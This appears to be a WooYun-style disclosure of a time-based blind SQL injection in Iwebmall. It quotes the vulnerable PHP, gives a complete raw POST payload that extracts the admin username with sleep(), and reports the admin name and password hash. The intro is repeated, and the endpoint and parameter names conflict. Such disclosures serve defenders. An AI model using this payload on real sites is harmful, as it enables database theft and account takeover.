### 简要描述： Iwebmall 最新版SQL注入第七枚 ### 详细说明： 看到wooyun上有人提了几个iweb的漏洞（ [WooYun: iwebmall商城程序sql注入](http://www.wooyun.org/bugs/wooyun-2014-078282) ， [WooYun: Iwebsns sql 第五枚。](http://www.wooyun.org/bugs/wooyun-2014-061267) ），我来捡捡漏儿吧，希望不要重复。 先把注入点拿出来：www.xxx.com/do.php?act=shop_guestbook_del ，POST的内容中有个参数favorite_shop，存在注入。 action/shop/guestbook_del.action.php ``` 无关代码 if(empty($_POST)){ $iid = intval(get_args('id')); }else{ $iid=get_args('iid'); if (!$iid){ action_return(1,$m_langpackage->m_del_select,'modules.php?app=shop_askprice'); } $iid=implode(',',$iid); } $del = del_shop_askprice($dbo,$t_shop_inquiry,$iid,$shop_id); 无关代码 ``` 再去看看del_shop_askprice()，/foundation/module_askprice.php ``` /* 删除收到的询价 */ function del_shop_askprice(&$dbo,$table,$iid,$shop_id){ $sql = "update `$table` set shop_del_status=0 where iid in($iid) and shop_id='$shop_id'"; return $dbo->exeUpdate($sql); } ``` 当通过POST方法提交$iid时，由于没有对$iid进行过滤，因此这里可以注入。Iweb没有错误回显，这里用time-based blind进行注入测试。 Payload: ``` POST...
### 简要描述： Iwebmall 最新版SQL注入第七枚 ### 详细说明： 看到wooyun上有人提了几个iweb的漏洞（ [WooYun: iwebmall商城程序sql注入](http://www.wooyun.org/bugs/wooyun-2014-078282) ， [WooYun: Iwebsns sql 第五枚。](http://www.wooyun.org/bugs/wooyun-2014-061267) ），我来捡捡漏儿吧，希望不要重复。 先把注入点拿出来：www.xxx.com/do.php?act=shop_guestbook_del ，POST的内容中有个参数favorite_shop，存在注入。 action/shop/guestbook_del.action.php ``` 无关代码 if(empty($_POST)){ $iid = intval(get_args('id')); }else{ $iid=get_args('iid'); if (!$iid){ action_return(1,$m_langpackage->m_del_select,'modules.php?app=shop_askprice'); } $iid=implode(',',$iid); } $del = del_shop_askprice($dbo,$t_shop_inquiry,$iid,$shop_id); 无关代码 ``` 再去看看del_shop_askprice()，/foundation/module_askprice.php ``` /* 删除收到的询价 */ function del_shop_askprice(&$dbo,$table,$iid,$shop_id){ $sql = "update `$table` set shop_del_status=0 where iid in($iid) and shop_id='$shop_id'"; return $dbo->exeUpdate($sql); } ``` 当通过POST方法提交$iid时，由于没有对$iid进行过滤，因此这里可以注入。Iweb没有错误回显，这里用time-based blind进行注入测试。 Payload: ``` POST /do.php?act=shop_askprice_del HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* Referer: http://192.168.0.107/modules.php?app=user_favorite Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0) Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Host: 192.168.0.107 Content-Length: 183 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: AJSTAT_ok_times=1; PHPSESSID=c8hhcsboh7fk3c43co6ik5m796; iweb_iweb_login=pigtest iid%5B%5D=-1) or (select if(mid((select admin_name from imall_admin_user where admin_id=1 limit 0,1),1,1)='z',sleep(3),0)) and (1)=(1&deletesubmit=%E6%89%B9%E9%87%8F%E5%88%A0%E9%99%A4 ``` 测试时：登陆后访问如上的请求，抓包，按上面的payload进行修改即可。这里注意，guest的值随便写一个值，本例为-1,同时在测试时也要使所用到的数据表‘imall_shop_inquiry’不是空表。 因为是time-based blind 注入，猜测管理员用户名的第三个字母时，若错误，延迟2s左右，如下图 [<img src="https://images.seebug.org/upload/201412/112306111fdf6de5d2cc6b081d7c9e9e5cae26a5.jpg" alt="猜测错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/112306111fdf6de5d2cc6b081d7c9e9e5cae26a5.jpg) 若正确，延迟5s左右，如下图 [<img src="https://images.seebug.org/upload/201412/11230622890153df12ca412b5479252361ed95a2.jpg" alt="猜测正确副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/11230622890153df12ca412b5479252361ed95a2.jpg) 按上面的方法依次做下去（burp intruder或者自己写个脚本跑），可测试管理员用户名为：admin，密码为： 21232f297a57a5a743894a0e4a801fc3 ### 漏洞证明： 见 详细说明
